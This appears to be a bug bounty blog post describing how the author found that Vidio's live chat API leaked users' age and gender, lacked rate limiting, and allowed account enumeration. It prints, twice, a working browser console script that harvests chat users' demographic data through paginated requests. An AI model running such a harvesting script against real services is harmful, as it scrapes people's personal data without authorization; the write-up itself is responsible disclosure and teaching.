November 9, 2026
What the UI Hides, the API Tells: How I Found Mass Data Exposure in a Live Chat Feature
Chaining guest JWT tokens, missing rate limits, and verbose JSON responses to land my second bug bounty reward.

By A. M. Alogo Situmorang
4 min read
After landing my first bug bounty, I officially caught the bug-hunting itch. For my second hunt, I decided to shift my focus away from static files and look at something much more dynamic: real-time features used by thousands of people simultaneously.
When you watch a popular live stream, the live chat moves fast. On the screen, all you see is a username and a short message. It looks completely harmless.
However, developers sometimes forget a golden rule of API security: just because the user interface (UI) doesn't render a piece of data doesn't mean the backend isn't sending it.
Here is the story of how inspecting a routine Live Chat API led me to discover Excessive Data Exposure, how I wrote a 40-line browser console script to prove mass harvesting impact, and how it earned me my second bug bounty reward from Vidio.
The Recon: Looking Behind the Live Chat Curtain
While exploring a live streaming channel on Vidio, I opened Chrome DevTools (F12), switched to the Network tab, and watched how the browser loaded the live chat.
First, I noticed that you didn't even need an account to read the chat. Even as an unauthenticated guest, the browser automatically made a request to a token endpoint:
GET [https://www.vidio.com/tokens/chat](https://www.vidio.com/tokens/chat)
This endpoint handed out a valid guest JWT Bearer Token. Using that token, the frontend fetched the latest batch of 100 chat messages from the live streaming API:
GET [https://live.vidio.com/conversations/](https://live.vidio.com/conversations/)[REDACTED]/messages/100
Nothing unusual so far — that's just how public live chats work. The real surprise happened when I clicked on the JSON response tab and expanded one of the message objects.
The Bug: API Over-Fetching (Excessive Data Exposure)
In the chat window on my screen, a message only showed two things:
- Display Name / Username
- Message Body
However, when I looked at the raw JSON returned by the server, each message object contained a nested user object. Inside that user object, the backend was serializing and sending private profile attributes that had zero business being in a public chat payload—specifically the user's age and gender.
In the OWASP API Security Top 10, this is a classic example of API3: Excessive Data Exposure (now categorized under Broken Object Property Level Authorization). The backend returned a fuller user object and trusted the frontend UI to simply ignore the fields it didn't need.
Escalating the Impact: Pagination + Zero Rate Limiting
Exposing the age and gender of a single user is a minor privacy leak. To show the security team why this mattered in the real world, I needed to test if an attacker could automate this at scale.
Looking closer at the API, I noticed two critical things:
- Predictable Pagination: By appending
?before_id=[LAST_MESSAGE_ID]to the URL, you could walk backward through the entire chat history, pulling 100 messages per request. - No Rate Limiting: The server allowed rapid, back-to-back requests using the exact same anonymous guest token without throttling or blocking the IP.
To demonstrate the risk clearly, I wrote a self-contained JavaScript Proof-of-Concept (PoC) that anyone on the triage team could paste directly into their browser console. It automatically fetched a guest token, looped backward through pagination, extracted the hidden demographic data, and printed a clean table using console.table():
JavaScript
(async function() {
console.log("[*] Fetching guest chat token and messages...");
try {
// Phase 1: Grab a valid anonymous JWT Bearer token
const tResp = await fetch('https://www.vidio.com/tokens/chat');
const tJson = await tResp.json();
const token = 'Bearer ' + tJson.web;
let allMessages = [];
let lastId = null;
const targetCount = 200; // Sample size for safe PoC demonstration
// Phase 2: Automated pagination loop (100 messages per batch)
while (allMessages.length < targetCount) {
const url = `https://live.vidio.com/conversations/[REDACTED]/messages/100${lastId ? `?before_id=${lastId}` : ''}`;
const resp = await fetch(url, { headers: { 'Authorization': token } });
const json = await resp.json();
if (!json || json.length === 0) break;
allMessages = allMessages.concat(json);
lastId = json[json.length - 1].id;
console.log(`[+] Collected: ${allMessages.length} user records...`);
if (json.length < 100) break;
}
// Phase 3: Parse and display leaked demographic fields
const result = allMessages.slice(0, targetCount).map((m, index) => ({
No: index + 1,
User: m.user?.username || "Anonymous",
DisplayName: m.user?.name || "N/A",
Age: m.user?.age || "N/A", // <-- Unnecessary exposed attribute
Gender: m.user?.gender || "N/A", // <-- Unnecessary exposed attribute
Message: m.body
}));
console.table(result);
console.log("[!] Done! Demographic data extracted via automated pagination.");
} catch (e) {
console.error("[-] Error:", e);
}
})();(async function() {
console.log("[*] Fetching guest chat token and messages...");
try {
// Phase 1: Grab a valid anonymous JWT Bearer token
const tResp = await fetch('https://www.vidio.com/tokens/chat');
const tJson = await tResp.json();
const token = 'Bearer ' + tJson.web;
let allMessages = [];
let lastId = null;
const targetCount = 200; // Sample size for safe PoC demonstration
// Phase 2: Automated pagination loop (100 messages per batch)
while (allMessages.length < targetCount) {
const url = `https://live.vidio.com/conversations/[REDACTED]/messages/100${lastId ? `?before_id=${lastId}` : ''}`;
const resp = await fetch(url, { headers: { 'Authorization': token } });
const json = await resp.json();
if (!json || json.length === 0) break;
allMessages = allMessages.concat(json);
lastId = json[json.length - 1].id;
console.log(`[+] Collected: ${allMessages.length} user records...`);
if (json.length < 100) break;
}
// Phase 3: Parse and display leaked demographic fields
const result = allMessages.slice(0, targetCount).map((m, index) => ({
No: index + 1,
User: m.user?.username || "Anonymous",
DisplayName: m.user?.name || "N/A",
Age: m.user?.age || "N/A", // <-- Unnecessary exposed attribute
Gender: m.user?.gender || "N/A", // <-- Unnecessary exposed attribute
Message: m.body
}));
console.table(result);
console.log("[!] Done! Demographic data extracted via automated pagination.");
} catch (e) {
console.error("[-] Error:", e);
}
})();Within seconds of hitting Enter in the console, the script populated a neatly formatted table of hundreds of real users along with their exact age and gender.
Adding a Bonus Finding: Account Enumeration
While testing the surrounding authentication flows to see how this data could be chained, I also noticed that the password reset page (/users/password/new) returned explicit status messages:
"Email sent!"if an email was registered."This email isn't registered yet"if it wasn't.
I bundled all three issues — Excessive Attribute Exposure, Missing Rate Limiting on Chat APIs, and Account Enumeration — into one comprehensive report and sent it over to security@vidio.com on March 15.
The Triage & Bounty Reward
On April 6, the Vidio Security Team got back to me with a thorough and fair assessment.
They noted that while age and gender aren't high-risk credentials (and don't lead to an account takeover), my report highlighted three concrete areas they decided to fix immediately:
- Account enumeration on the authentication flow.
- Missing rate limiting on the Live Chat API.
- Exposure of unnecessary user attributes not required by the chat feature.
Because the leaked fields were limited to non-critical demographic data of users active in chat, they categorized the overall severity as Low — and awarded me a monetary bug bounty as a token of appreciation for the actionable insights! Less than 24 hours after confirming my bank details, the bounty payout landed in my account.
3 Takeaways for Fellow Bug Hunters
- Always compare the UI to the raw JSON: Whenever you see a public feed, comment section, or live chat, check the Network tab. Developers frequently pass an entire
Userdatabase object into a JSON serializer instead of creating a stripped-down Data Transfer Object (DTO). - Browser Console PoCs are underrated: Writing a clean
async/awaitscript that runs directly in the browser console and outputs toconsole.table()makes triage effortless. The security team doesn't need to install external dependencies—they just pressF12, paste, and see the impact immediately. - Bundle related hygiene findings: Combining the data exposure with the missing rate limit and account enumeration turned what could have been a minor note into a solid, multi-point improvement for their engineering team.
Another huge thank you to the Vidio Security Team for their fast triage, transparent communication, and lightning-fast bounty payout.
Happy hunting, and always check your JSON payloads!